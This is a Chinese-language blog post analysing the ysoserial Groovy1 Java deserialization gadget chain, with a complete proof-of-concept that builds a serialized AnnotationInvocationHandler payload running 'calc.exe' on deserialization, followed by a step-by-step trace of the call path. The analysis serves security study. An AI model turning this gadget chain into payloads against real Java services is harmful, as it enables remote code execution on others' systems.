代码改变世界

ysoserial-Groovy1-分析

2022-09-27 15:47  rnss  阅读(55)  评论(0编辑  收藏  举报

复现

依赖:

<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy -->
<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.3.9</version>
</dependency>

poc:

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1Test {
    static String command = "calc.exe";

    public static void main(String[] args) throws Exception {
        MethodClosure methodClosure = new MethodClosure(command, "execute");
        final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
        Class<?>[] allinterfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allinterfaces[0] = Map.class;
        Object o = Proxy.newProxyInstance(Groovy1Test.class.getClassLoader(), allinterfaces, closure);
        final Map map = Map.class.cast(o);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        final Constructor constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        final InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, map);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o2 = (Object) ois.readObject();
    }
}

分析

先分析一下简化版的代码

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Array;
import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1Test {
    static String command = "calc.exe";

    public static void main(String[] args) throws Exception {
        MethodClosure methodClosure = new MethodClosure(command, "execute");
        final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
        Class<?>[] allinterfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allinterfaces[0] = Map.class;
        Object o = Proxy.newProxyInstance(Groovy1Test.class.getClassLoader(), allinterfaces, closure);
        final Map map = Map.class.cast(o);
        map.entrySet();
    }
}

首先声明了字符串command为calc.exe

然后main函数里先new了一个MethodClosure对象,传入command和"execute"

image-20220927145745971

command被传入了Closure.Closure

image-20220927150137619

然后声明了一个ConvertedClosure对象,传入刚刚声明的MethodClosure和"entrySet"

image-20220927150229617

MethodClosure也被传入了Closure.Closure

image-20220927150322806

然后声明了一个Class数组,长度为1,成员是Map.class

然后创建了一个动态代理,使用前面声明的ConvertedClosure来代理Map.class,ConvertedClosure是InvocationHandler的孙类,所以这里创建的实际上是一个Invocation代理,这意味着之后调用map的任何方法时,都会先调用ConvertedClosure的invoke方法。

然后调用了map.entrySet(),会先调用ConvertedClosure.invoke,ConvertedClosure没有invoke方法,所以调用的是它父类的invoke方法:ConversionHandler.invoke

image-20220927151159027

103行调用了invokeCustom,这个方法在ConversionHandler中是一个抽象类,所以调用的是子类的invokeCustom方法

image-20220927151313170

51行调用了Closure.call

image-20220927151610941

423行调用MetaClassImpl.invokeMethod

image-20220927152453618

1061行判断object是否为Closure,这里的object是MethodClosure,所以判断为true

然后取出最开始我们设置的要执行的命令"calc.exe"

然后1074行 return MetaClass.invokeMethod,其实调用的仍然是MetaClassImpl.invokeMethod,这里是一个递归调用,但第二次调用时传入的第二个参数object为刚刚的命令"calc.exe",因此1062行的判断变为false,不再进这个判断

image-20220927152829845

然后调用了method.doMethodInvoke

image-20220927152854353

然后调用了ProcessGroovyMethods.execute,这里这个execute的函数名也是一开始设置的

image-20220927153143653

所以现在的问题就变成了如何调用map的任意方法

看到sun.reflect.annotation.AnnotationInvocationHandler的readObject方法

image-20220927154306336

调用了memberValues.entrySet(),看下memberValues是什么

image-20220927154356366

memberValues是一个全局变量,也就是说我们只要使用map构造一个AnnotationInvocationHandler,在反序列化时会执行AnnotationInvocationHandler.readObject,然后执行map.entrySet(),这样就能执行命令了。

参考:https://www.anquanke.com/post/id/202730